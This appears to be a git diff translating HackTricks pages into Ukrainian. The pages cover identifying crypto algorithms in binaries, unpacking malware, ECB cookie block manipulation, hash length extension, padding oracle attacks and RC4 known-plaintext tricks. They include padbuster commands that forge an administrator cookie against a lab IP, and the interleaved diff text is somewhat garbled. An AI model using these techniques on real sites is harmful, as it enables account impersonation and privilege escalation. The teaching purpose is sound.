- The **encryption key** must be **divisible** by **16** (usually 32B) and usually an **IV** of 16B is used.
- Використання **боксів заміни та таблиць пошуку**
- Можливо **відрізнити AES завдяки використанню специфічних значень таблиць пошуку** (констант). _Зверніть увагу, що **константа** може бути **збережена** в бінарному **або створена** _**динамічно**._
- **Ключ шифрування** повинен бути **доступний** на **16** (зазвичай 32B) і зазвичай використовується **IV** довжиною 16B.
### SBox constants
### Константи SBox
![](<../../images/image (208).png>)
## Serpent **(Symmetric Crypt)**
## Serpent **(Симетричний Крипт)**
### Characteristics
### Характеристики
- It's rare to find some malware using it but there are examples (Ursnif)
- Simple to determine if an algorithm is Serpent or not based on it's length (extremely long function)
- Рідко можна знайти деяке шкідливе ПЗ, яке його використовує, але є приклади (Ursnif)
- Легко визначити, чи є алгоритм Serpent, чи ні, на основі його довжини (надзвичайно довга функція)
### Identifying
### Визначення
In the following image notice how the constant **0x9E3779B9** is used (note that this constant is also used by other crypto algorithms like **TEA** -Tiny Encryption Algorithm).\
Also note the **size of the loop** (**132**) and the **number of XOR operations** in the **disassembly** instructions and in the **code** example:
На наступному зображенні зверніть увагу, як використовується константа **0x9E3779B9** (зверніть увагу, що ця константа також використовується іншими криптоалгоритмами, такими як **TEA** -Tiny Encryption Algorithm).\
Також зверніть увагу на **розмір циклу** (**132**) та **кількість операцій XOR** в **інструкціях дизасемблювання** та в **прикладі коду**:
![](<../../images/image (547).png>)
As it was mentioned before, this code can be visualized inside any decompiler as a **very long function** as there **aren't jumps** inside of it. The decompiled code can look like the following:
Як вже згадувалося, цей код можна візуалізувати в будь-якому декомпілері як **дуже довгу функцію**, оскільки в ній **немає стрибків**. Декомпільований код може виглядати наступним чином:
![](<../../images/image (513).png>)
Therefore, it's possible to identify this algorithm checking the **magic number** and the **initial XORs**, seeing a **very long function** and **comparing** some **instructions** of the long function **with an implementation** (like the shift left by 7 and the rotate left by 22).
Отже, можливо визначити цей алгоритм, перевіривши **магічне число** та **початкові XOR**, бачачи **дуже довгу функцію** та **порівнюючи** деякі **інструкції** довгої функції **з реалізацією** (наприклад, зсув вліво на 7 та обертання вліво на 22).
## RSA **(Asymmetric Crypt)**
## RSA **(Асиметричний Крипт)**
### Characteristics
### Характеристики
- More complex than symmetric algorithms
- There are no constants! (custom implementation are difficult to determine)
- KANAL (a crypto analyzer) fails to show hints on RSA ad it relies on constants.
- Складніший, ніж симетричні алгоритми
- Немає констант! (кастомні реалізації важко визначити)
- KANAL (криптоаналізатор) не може показати підказки щодо RSA, оскільки покладається на константи.
### Identifying by comparisons
### Визначення за допомогою порівнянь
![](<../../images/image (1113).png>)
- In line 11 (left) there is a `+7) >> 3` which is the same as in line 35 (right): `+7) / 8`
- Line 12 (left) is checking if `modulus_len < 0x040` and in line 36 (right) it's checking if `inputLen+11 > modulusLen`
- У рядку 11 (ліворуч) є `+7) >> 3`, що таке ж, як у рядку 35 (праворуч): `+7) / 8`
- Рядок 12 (ліворуч) перевіряє, чи `modulus_len < 0x040`, а в рядку 36 (праворуч) перевіряється, чи `inputLen+11 > modulusLen`
## MD5 & SHA (hash)
## MD5 & SHA (хеш)
### Characteristics
### Характеристики
- 3 functions: Init, Update, Final
- Similar initialize functions
- 3 функції: Init, Update, Final
- Схожі ініціалізаційні функції
### Identify
### Визначити
**Init**
You can identify both of them checking the constants. Note that the sha_init has 1 constant that MD5 doesn't have:
Ви можете визначити обидва, перевіривши константи. Зверніть увагу, що sha_init має 1 константу, якої MD5 не має:
![](<../../images/image (406).png>)
**MD5 Transform**
Note the use of more constants
Зверніть увагу на використання більшої кількості констант
![](<../../images/image (253) (1) (1).png>)
## CRC (hash)
## CRC (хеш)
- Smaller and more efficient as it's function is to find accidental changes in data
- Uses lookup tables (so you can identify constants)
- Менший і більш ефективний, оскільки його функція полягає в знаходженні випадкових змін у даних
- Використовує таблиці пошуку (тому ви можете визначити константи)
### Identify
### Визначити
Check **lookup table constants**:
Перевірте **константи таблиці пошуку**:
![](<../../images/image (508).png>)
A CRC hash algorithm looks like:
Алгоритм хешування CRC виглядає так:
![](<../../images/image (391).png>)
## APLib (Compression)
## APLib (Стиснення)
### Characteristics
### Характеристики
- Not recognizable constants
- You can try to write the algorithm in python and search for similar things online
- Непізнавані константи
- Ви можете спробувати написати алгоритм на python і шукати подібні речі в Інтернеті
### Identify
### Визначити
The graph is quiet large:
Графік досить великий:
![](<../../images/image (207) (2) (1).png>)
Check **3 comparisons to recognise it**:
Перевірте **3 порівняння, щоб його розпізнати**:
![](<../../images/image (430).png>)

View File

@ -1,24 +1,24 @@
{{#include ../../banners/hacktricks-training.md}}
# Identifying packed binaries
# Визначення упакованих бінарних файлів
- **lack of strings**: It's common to find that packed binaries doesn't have almost any string
- A lot of **unused strings**: Also, when a malware is using some kind of commercial packer it's common to find a lot of strings without cross-references. Even if these strings exist that doesn't mean that the binary isn't packed.
- You can also use some tools to try to find which packer was used to pack a binary:
- [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml)
- [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml)
- [Language 2000](http://farrokhi.net/language/)
- **відсутність рядків**: Зазвичай упаковані бінарні файли майже не містять рядків
- Багато **невикористаних рядків**: Також, коли шкідливе ПЗ використовує якийсь комерційний упакувальник, зазвичай можна знайти багато рядків без перехресних посилань. Навіть якщо ці рядки існують, це не означає, що бінарний файл не упакований.
- Ви також можете використовувати деякі інструменти, щоб спробувати визначити, який упакувальник був використаний для упаковки бінарного файлу:
- [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml)
- [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml)
- [Language 2000](http://farrokhi.net/language/)
# Basic Recommendations
# Основні рекомендації
- **Start** analysing the packed binary **from the bottom in IDA and move up**. Unpackers exit once the unpacked code exit so it's unlikely that the unpacker passes execution to the unpacked code at the start.
- Search for **JMP's** or **CALLs** to **registers** or **regions** of **memory**. Also search for **functions pushing arguments and an address direction and then calling `retn`**, because the return of the function in that case may call the address just pushed to the stack before calling it.
- Put a **breakpoint** on `VirtualAlloc` as this allocates space in memory where the program can write unpacked code. The "run to user code" or use F8 to **get to value inside EAX** after executing the function and "**follow that address in dump**". You never know if that is the region where the unpacked code is going to be saved.
- **`VirtualAlloc`** with the value "**40**" as an argument means Read+Write+Execute (some code that needs execution is going to be copied here).
- **While unpacking** code it's normal to find **several calls** to **arithmetic operations** and functions like **`memcopy`** or **`Virtual`**`Alloc`. If you find yourself in a function that apparently only perform arithmetic operations and maybe some `memcopy` , the recommendation is to try to **find the end of the function** (maybe a JMP or call to some register) **or** at least the **call to the last function** and run to then as the code isn't interesting.
- While unpacking code **note** whenever you **change memory region** as a memory region change may indicate the **starting of the unpacking code**. You can easily dump a memory region using Process Hacker (process --> properties --> memory).
- While trying to unpack code a good way to **know if you are already working with the unpacked code** (so you can just dump it) is to **check the strings of the binary**. If at some point you perform a jump (maybe changing the memory region) and you notice that **a lot more strings where added**, then you can know **you are working with the unpacked code**.\
However, if the packer already contains a lot of strings you can see how many strings contains the word "http" and see if this number increases.
- When you dump an executable from a region of memory you can fix some headers using [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases).
- **Почніть** аналізувати упакований бінарний файл **знизу в IDA і рухайтеся вгору**. Упаковщики виходять, коли розпакований код виходить, тому малоймовірно, що упаковщик передає виконання розпакованому коду на початку.
- Шукайте **JMP** або **CALL** до **реєстрів** або **областей** **пам'яті**. Також шукайте **функції, що передають аргументи та адресу, а потім викликають `retn`**, оскільки повернення функції в цьому випадку може викликати адресу, яка тільки що була передана в стек.
- Встановіть **точку зупинки** на `VirtualAlloc`, оскільки це виділяє місце в пам'яті, де програма може записувати розпакований код. "Запустити до коду користувача" або використовуйте F8, щоб **отримати значення в EAX** після виконання функції та "**слідкуйте за цією адресою в дампі**". Ви ніколи не знаєте, чи це область, де буде збережено розпакований код.
- **`VirtualAlloc`** зі значенням "**40**" як аргумент означає Читання+Запис+Виконання (деякий код, який потребує виконання, буде скопійовано сюди).
- **Під час розпакування** коду нормально знаходити **кілька викликів** до **арифметичних операцій** та функцій, таких як **`memcopy`** або **`Virtual`**`Alloc`. Якщо ви опинитеся в функції, яка, здається, виконує лише арифметичні операції і, можливо, деякий `memcopy`, рекомендація полягає в тому, щоб спробувати **знайти кінець функції** (можливо, JMP або виклик до якогось реєстру) **або** принаймні **виклик до останньої функції** і запустити до неї, оскільки код не є цікавим.
- Під час розпакування коду **звертайте увагу** на те, коли ви **змінюєте область пам'яті**, оскільки зміна області пам'яті може вказувати на **початок розпакування коду**. Ви можете легко скинути область пам'яті, використовуючи Process Hacker (процес --> властивості --> пам'ять).
- Під час спроби розпакувати код хороший спосіб **знати, чи ви вже працюєте з розпакованим кодом** (щоб ви могли просто скинути його) - це **перевірити рядки бінарного файлу**. Якщо в якийсь момент ви виконуєте стрибок (можливо, змінюючи область пам'яті) і помічаєте, що **додалося набагато більше рядків**, тоді ви можете знати, що **працюєте з розпакованим кодом**.\
Однак, якщо упакувальник вже містить багато рядків, ви можете подивитися, скільки рядків містить слово "http" і перевірити, чи це число зростає.
- Коли ви скидаєте виконуваний файл з області пам'яті, ви можете виправити деякі заголовки, використовуючи [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,72 +2,66 @@
# ECB
(ECB) Electronic Code Book - symmetric encryption scheme which **replaces each block of the clear text** by the **block of ciphertext**. It is the **simplest** encryption scheme. The main idea is to **split** the clear text into **blocks of N bits** (depends on the size of the block of input data, encryption algorithm) and then to encrypt (decrypt) each block of clear text using the only key.
(ECB) Електронна кодова книга - симетрична схема шифрування, яка **замінює кожен блок відкритого тексту** на **блок шифротексту**. Це **найпростіша** схема шифрування. Основна ідея полягає в тому, щоб **розділити** відкритий текст на **блоки по N біт** (залежить від розміру блоку вхідних даних, алгоритму шифрування) і потім зашифрувати (розшифрувати) кожен блок відкритого тексту, використовуючи єдиний ключ.
![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png)
Using ECB has multiple security implications:
Використання ECB має кілька наслідків для безпеки:
- **Blocks from encrypted message can be removed**
- **Blocks from encrypted message can be moved around**
- **Блоки з зашифрованого повідомлення можуть бути видалені**
- **Блоки з зашифрованого повідомлення можуть бути переміщені**
# Detection of the vulnerability
# Виявлення вразливості
Imagine you login into an application several times and you **always get the same cookie**. This is because the cookie of the application is **`<username>|<password>`**.\
Then, you generate to new users, both of them with the **same long password** and **almost** the **same** **username**.\
You find out that the **blocks of 8B** where the **info of both users** is the same are **equals**. Then, you imagine that this might be because **ECB is being used**.
Like in the following example. Observe how these** 2 decoded cookies** has several times the block **`\x23U\xE45K\xCB\x21\xC8`**
Уявіть, що ви кілька разів входите в додаток і **завжди отримуєте один і той же cookie**. Це відбувається тому, що cookie додатка є **`<username>|<password>`**.\
Потім ви генеруєте нових користувачів, обидва з **однаковим довгим паролем** і **майже** **однаковим** **іменем користувача**.\
Ви виявляєте, що **блоки по 8B**, де **інформація обох користувачів** однакова, є **однаковими**. Потім ви уявляєте, що це може бути через те, що **використовується ECB**.
Як у наступному прикладі. Зверніть увагу, як ці **2 декодовані cookie** мають кілька разів блок **`\x23U\xE45K\xCB\x21\xC8`**.
```
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
```
Це пов'язано з тим, що **ім'я користувача та пароль цих куків містили кілька разів літеру "a"** (наприклад). **Блоки**, які є **різними**, - це блоки, які містили **принаймні 1 різний символ** (можливо, роздільник "|" або деяка необхідна різниця в імені користувача).
This is because the **username and password of those cookies contained several times the letter "a"** (for example). The **blocks** that are **different** are blocks that contained **at least 1 different character** (maybe the delimiter "|" or some necessary difference in the username).
Тепер зловмиснику потрібно лише виявити, чи формат є `<username><delimiter><password>` або `<password><delimiter><username>`. Для цього він може просто **згенерувати кілька імен користувачів** з **схожими та довгими іменами користувачів і паролями, поки не знайде формат і довжину роздільника:**
Now, the attacker just need to discover if the format is `<username><delimiter><password>` or `<password><delimiter><username>`. For doing that, he can just **generate several usernames **with s**imilar and long usernames and passwords until he find the format and the length of the delimiter:**
| Довжина імені користувача: | Довжина пароля: | Довжина імені користувача + пароля: | Довжина кука (після декодування): |
| --------------------------- | ---------------- | ----------------------------------- | --------------------------------- |
| 2 | 2 | 4 | 8 |
| 3 | 3 | 6 | 8 |
| 3 | 4 | 7 | 8 |
| 4 | 4 | 8 | 16 |
| 7 | 7 | 14 | 16 |
| Username length: | Password length: | Username+Password length: | Cookie's length (after decoding): |
| ---------------- | ---------------- | ------------------------- | --------------------------------- |
| 2 | 2 | 4 | 8 |
| 3 | 3 | 6 | 8 |
| 3 | 4 | 7 | 8 |
| 4 | 4 | 8 | 16 |
| 7 | 7 | 14 | 16 |
# Використання вразливості
# Exploitation of the vulnerability
## Removing entire blocks
Knowing the format of the cookie (`<username>|<password>`), in order to impersonate the username `admin` create a new user called `aaaaaaaaadmin` and get the cookie and decode it:
## Видалення цілих блоків
Знаючи формат кука (`<username>|<password>`), щоб видати себе за ім'я користувача `admin`, створіть нового користувача з ім'ям `aaaaaaaaadmin` і отримайте куки та декодуйте їх:
```
\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
```
We can see the pattern `\x23U\xE45K\xCB\x21\xC8` created previously with the username that contained only `a`.\
Then, you can remove the first block of 8B and you will et a valid cookie for the username `admin`:
Ми можемо побачити шаблон `\x23U\xE45K\xCB\x21\xC8`, створений раніше з ім'ям користувача, яке містило лише `a`.\
Тоді ви можете видалити перший блок 8B, і ви отримаєте дійсний cookie для імені користувача `admin`:
```
\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
```
## Переміщення блоків
## Moving blocks
У багатьох базах даних однаково шукати `WHERE username='admin';` або `WHERE username='admin ';` _(Зверніть увагу на додаткові пробіли)_
In many databases it is the same to search for `WHERE username='admin';` or for `WHERE username='admin ';` _(Note the extra spaces)_
Отже, ще один спосіб видати себе за користувача `admin` полягає в тому, щоб:
So, another way to impersonate the user `admin` would be to:
- Згенерувати ім'я користувача, яке: `len(<username>) + len(<delimiter) % len(block)`. З розміром блоку `8B` ви можете згенерувати ім'я користувача, яке називається: `username `, з роздільником `|` частина `<username><delimiter>` створить 2 блоки по 8B.
- Потім згенерувати пароль, який заповнить точну кількість блоків, що містять ім'я користувача, за яким ми хочемо видати себе, і пробіли, наприклад: `admin `
- Generate a username that: `len(<username>) + len(<delimiter) % len(block)`. With a block size of `8B` you can generate username called: `username `, with the delimiter `|` the chunk `<username><delimiter>` will generate 2 blocks of 8Bs.
- Then, generate a password that will fill an exact number of blocks containing the username we want to impersonate and spaces, like: `admin `
Кука цього користувача буде складатися з 3 блоків: перші 2 - це блоки імені користувача + роздільник, а третій - це пароль (який підробляє ім'я користувача): `username |admin `
The cookie of this user is going to be composed by 3 blocks: the first 2 is the blocks of the username + delimiter and the third one of the password (which is faking the username): `username |admin `
**Тоді просто замініть перший блок на останній, і ви будете видавати себе за користувача `admin`: `admin |username`**
**Then, just replace the first block with the last time and will be impersonating the user `admin`: `admin |username`**
## References
## Посилання
- [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](<http://cryptowiki.net/index.php?title=Electronic_Code_Book_(ECB)>)

View File

@ -1,18 +1,16 @@
# Esoteric languages
# Езотеричні мови
{{#include ../banners/hacktricks-training.md}}
## [Esolangs Wiki](https://esolangs.org/wiki/Main_Page)
Check that wiki to search more esotreic languages
Перевірте цю вікі, щоб знайти більше езотеричних мов
## Malbolge
```
('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}=<M:9wv6WsU2T|nm-,jcL(I&%$#"
`CB]V?Tx<uVtT`Rpo3NlF.Jh++FdbCBA@?]!~|4XzyTT43Qsqq(Lnmkj"Fhg${z@>
```
[http://malbolge.doleczek.pl/](http://malbolge.doleczek.pl)
## npiet
@ -22,7 +20,6 @@ Check that wiki to search more esotreic languages
[https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet-execute.php)
## Rockstar
```
Midnight takes your heart and your soul
While your heart is as high as your soul
@ -51,11 +48,9 @@ Take it to the top
Whisper my world
```
{% embed url="https://codewithrockstar.com/" %}
## PETOOH
## ПЕТУХ
```
KoKoKoKoKoKoKoKoKoKo Kud-Kudah
KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah
@ -65,5 +60,4 @@ KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek
kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO
Kukarek
```
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,37 +2,37 @@
{{#include ../banners/hacktricks-training.md}}
## Summary of the attack
## Резюме атаки
Imagine a server which is **signing** some **data** by **appending** a **secret** to some known clear text data and then hashing that data. If you know:
Уявіть собі сервер, який **підписує** деякі **дані**, **додаючи** **секрет** до відомих відкритих текстових даних, а потім хешуючи ці дані. Якщо ви знаєте:
- **The length of the secret** (this can be also bruteforced from a given length range)
- **The clear text data**
- **The algorithm (and it's vulnerable to this attack)**
- **The padding is known**
- Usually a default one is used, so if the other 3 requirements are met, this also is
- The padding vary depending on the length of the secret+data, that's why the length of the secret is needed
- **Довжину секрету** (це також можна перебрати з заданого діапазону довжин)
- **Відкриті текстові дані**
- **Алгоритм (і він вразливий до цієї атаки)**
- **Паддінг відомий**
- Зазвичай використовується стандартний, тому якщо виконуються інші 3 вимоги, це також так
- Паддінг варіюється в залежності від довжини секрету + даних, тому довжина секрету потрібна
Then, it's possible for an **attacker** to **append** **data** and **generate** a valid **signature** for the **previous data + appended data**.
Тоді зловмисник може **додати** **дані** і **згенерувати** дійсну **підпис** для **попередніх даних + доданих даних**.
### How?
### Як?
Basically the vulnerable algorithms generate the hashes by firstly **hashing a block of data**, and then, **from** the **previously** created **hash** (state), they **add the next block of data** and **hash it**.
В основному, вразливі алгоритми генерують хеші, спочатку **хешуючи блок даних**, а потім, **з** **раніше** створеного **хешу** (стану), вони **додають наступний блок даних** і **хешують його**.
Then, imagine that the secret is "secret" and the data is "data", the MD5 of "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\
If an attacker wants to append the string "append" he can:
Тоді уявіть, що секрет - "secret", а дані - "data", MD5 "secretdata" дорівнює 6036708eba0d11f6ef52ad44e8b74d5b.\
Якщо зловмисник хоче додати рядок "append", він може:
- Generate a MD5 of 64 "A"s
- Change the state of the previously initialized hash to 6036708eba0d11f6ef52ad44e8b74d5b
- Append the string "append"
- Finish the hash and the resulting hash will be a **valid one for "secret" + "data" + "padding" + "append"**
- Згенерувати MD5 з 64 "A"
- Змінити стан раніше ініціалізованого хешу на 6036708eba0d11f6ef52ad44e8b74d5b
- Додати рядок "append"
- Завершити хеш, і отриманий хеш буде **дійсним для "secret" + "data" + "padding" + "append"**
### **Tool**
### **Інструмент**
{% embed url="https://github.com/iagox86/hash_extender" %}
### References
### Посилання
You can find this attack good explained in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
Ви можете знайти цю атаку добре поясненою в [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,26 +2,24 @@
{{#include ../banners/hacktricks-training.md}}
{% embed url="https://websec.nl/" %}
## CBC - Cipher Block Chaining
In CBC mode the **previous encrypted block is used as IV** to XOR with the next block:
В режимі CBC **попередній зашифрований блок використовується як IV** для XOR з наступним блоком:
![https://defuse.ca/images/cbc_encryption.png](https://defuse.ca/images/cbc_encryption.png)
To decrypt CBC the **opposite** **operations** are done:
Щоб розшифрувати CBC, виконуються **протилежні** **операції**:
![https://defuse.ca/images/cbc_decryption.png](https://defuse.ca/images/cbc_decryption.png)
Notice how it's needed to use an **encryption** **key** and an **IV**.
Зверніть увагу, що потрібно використовувати **ключ шифрування** та **IV**.
## Message Padding
As the encryption is performed in **fixed** **size** **blocks**, **padding** is usually needed in the **last** **block** to complete its length.\
Usually **PKCS7** is used, which generates a padding **repeating** the **number** of **bytes** **needed** to **complete** the block. For example, if the last block is missing 3 bytes, the padding will be `\x03\x03\x03`.
Оскільки шифрування виконується в **фіксованих** **розмірах** **блоків**, зазвичай потрібне **доповнення** в **останньому** **блоці** для завершення його довжини.\
Зазвичай використовується **PKCS7**, який генерує доповнення, **повторюючи** **кількість** **байтів**, **необхідних** для **завершення** блоку. Наприклад, якщо останньому блоку не вистачає 3 байтів, доповнення буде `\x03\x03\x03`.
Let's look at more examples with a **2 blocks of length 8bytes**:
Розглянемо більше прикладів з **2 блоками довжиною 8 байтів**:
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
@ -30,51 +28,43 @@ Let's look at more examples with a **2 blocks of length 8bytes**:
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
Note how in the last example the **last block was full so another one was generated only with padding**.
Зверніть увагу, що в останньому прикладі **останній блок був заповнений, тому був згенерований ще один лише з доповненням**.
## Padding Oracle
When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, if an **invalid padding triggers a detectable behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack of results**, or a **slower response**.
Коли програма розшифровує зашифровані дані, спочатку вона розшифровує дані; потім видаляє доповнення. Під час очищення доповнення, якщо **недійсне доповнення викликає помітну поведінку**, у вас є **вразливість padding oracle**. Помітна поведінка може бути **помилкою**, **відсутністю результатів** або **повільнішою відповіддю**.
If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**.
Якщо ви виявите цю поведінку, ви можете **розшифрувати зашифровані дані** і навіть **зашифрувати будь-який відкритий текст**.
### How to exploit
You could use [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) to exploit this kind of vulnerability or just do
Ви можете використовувати [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) для експлуатації цього типу вразливості або просто зробити
```
sudo apt-get install padbuster
```
In order to test if the cookie of a site is vulnerable you could try:
Щоб перевірити, чи вразливий кукі сайту, ви можете спробувати:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
```
**Кодування 0** означає, що використовується **base64** (але доступні й інші, перевірте меню допомоги).
**Encoding 0** means that **base64** is used (but others are available, check the help menu).
You could also **abuse this vulnerability to encrypt new data. For example, imagine that the content of the cookie is "**_**user=MyUsername**_**", then you may change it to "\_user=administrator\_" and escalate privileges inside the application. You could also do it using `paduster`specifying the -plaintext** parameter:
Ви також можете **зловживати цією вразливістю для шифрування нових даних. Наприклад, уявіть, що вміст cookie є "**_**user=MyUsername**_**", тоді ви можете змінити його на "\_user=administrator\_" і підвищити привілеї в додатку. Ви також можете зробити це, використовуючи `paduster`, вказуючи параметр -plaintext**:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
```
If the site is vulnerable `padbuster`will automatically try to find when the padding error occurs, but you can also indicating the error message it using the **-error** parameter.
Якщо сайт вразливий, `padbuster` автоматично спробує знайти, коли виникає помилка заповнення, але ви також можете вказати повідомлення про помилку, використовуючи параметр **-error**.
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
```
### Теорія
### The theory
In **summary**, you can start decrypting the encrypted data by guessing the correct values that can be used to create all the **different paddings**. Then, the padding oracle attack will start decrypting bytes from the end to the start by guessing which will be the correct value that **creates a padding of 1, 2, 3, etc**.
У **резюме**, ви можете почати розшифровувати зашифровані дані, вгадуючи правильні значення, які можна використовувати для створення всіх **різних заповнень**. Потім атака на padding oracle почне розшифровувати байти з кінця на початок, вгадуючи, яке буде правильне значення, що **створює заповнення 1, 2, 3 тощо**.
![](<../images/image (561).png>)
Imagine you have some encrypted text that occupies **2 blocks** formed by the bytes from **E0 to E15**.\
In order to **decrypt** the **last** **block** (**E8** to **E15**), the whole block passes through the "block cipher decryption" generating the **intermediary bytes I0 to I15**.\
Finally, each intermediary byte is **XORed** with the previous encrypted bytes (E0 to E7). So:
Уявіть, що у вас є деякий зашифрований текст, який займає **2 блоки**, сформовані байтами з **E0 до E15**.\
Щоб **розшифрувати** **останній** **блок** (**E8** до **E15**), весь блок проходить через "розшифрування блочного шифру", генеруючи **проміжні байти I0 до I15**.\
Нарешті, кожен проміжний байт **XOR'иться** з попередніми зашифрованими байтами (E0 до E7). Отже:
- `C15 = D(E15) ^ E7 = I15 ^ E7`
- `C14 = I14 ^ E6`
@ -82,31 +72,30 @@ Finally, each intermediary byte is **XORed** with the previous encrypted bytes (
- `C12 = I12 ^ E4`
- ...
Now, It's possible to **modify `E7` until `C15` is `0x01`**, which will also be a correct padding. So, in this case: `\x01 = I15 ^ E'7`
Тепер можливо **модифікувати `E7`, поки `C15` не стане `0x01`**, що також буде правильним заповненням. Отже, в цьому випадку: `\x01 = I15 ^ E'7`
So, finding E'7, it's **possible to calculate I15**: `I15 = 0x01 ^ E'7`
Отже, знаходячи E'7, **можливо обчислити I15**: `I15 = 0x01 ^ E'7`
Which allow us to **calculate C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
Що дозволяє нам **обчислити C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
Knowing **C15**, now it's possible to **calculate C14**, but this time brute-forcing the padding `\x02\x02`.
Знаючи **C15**, тепер можливо **обчислити C14**, але цього разу методом грубої сили для заповнення `\x02\x02`.
This BF is as complex as the previous one as it's possible to calculate the the `E''15` whose value is 0x02: `E''7 = \x02 ^ I15` so it's just needed to find the **`E'14`** that generates a **`C14` equals to `0x02`**.\
Then, do the same steps to decrypt C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
Цей BF такий же складний, як і попередній, оскільки можливо обчислити `E''15`, значення якого 0x02: `E''7 = \x02 ^ I15`, тому потрібно лише знайти **`E'14`**, яке генерує **`C14`, що дорівнює `0x02`**.\
Потім виконайте ті ж кроки для розшифровки C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
**Follow this chain until you decrypt the whole encrypted text.**
**Слідуйте цій ланцюжку, поки не розшифруєте весь зашифрований текст.**
### Detection of the vulnerability
### Виявлення вразливості
Register and account and log in with this account .\
If you **log in many times** and always get the **same cookie**, there is probably **something** **wrong** in the application. The **cookie sent back should be unique** each time you log in. If the cookie is **always** the **same**, it will probably always be valid and there **won't be anyway to invalidate i**t.
Зареєструйтеся та увійдіть з цим обліковим записом.\
Якщо ви **входите багато разів** і завжди отримуєте **один і той же cookie**, ймовірно, що в додатку є **щось** **неправильно**. **Cookie, що повертається, повинен бути унікальним** щоразу, коли ви входите. Якщо cookie **завжди** **один і той же**, він, ймовірно, завжди буде дійсним, і не буде способу його анулювати.
Now, if you try to **modify** the **cookie**, you can see that you get an **error** from the application.\
But if you BF the padding (using padbuster for example) you manage to get another cookie valid for a different user. This scenario is highly probably vulnerable to padbuster.
Тепер, якщо ви спробуєте **модифікувати** **cookie**, ви можете побачити, що отримуєте **помилку** від додатку.\
Але якщо ви BF заповнення (використовуючи padbuster, наприклад), ви зможете отримати інший cookie, дійсний для іншого користувача. Цей сценарій, ймовірно, вразливий до padbuster.
### References
### Посилання
- [https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)
{% embed url="https://websec.nl/" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,8 +1,8 @@
{{#include ../banners/hacktricks-training.md}}
If you can somehow encrypt a plaintext using RC4, you can decrypt any content encrypted by that RC4 (using the same password) just using the encryption function.
Якщо ви можете якимось чином зашифрувати відкритий текст за допомогою RC4, ви можете розшифрувати будь-який вміст, зашифрований цим RC4 (використовуючи той же пароль), просто використовуючи функцію шифрування.
If you can encrypt a known plaintext you can also extract the password. More references can be found in the HTB Kryptos machine:
Якщо ви можете зашифрувати відомий відкритий текст, ви також можете витягти пароль. Більше посилань можна знайти в машині HTB Kryptos:
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}

View File

@ -2,50 +2,41 @@
{{#include ../banners/hacktricks-training.md}}
## **Extracting Data from Files**
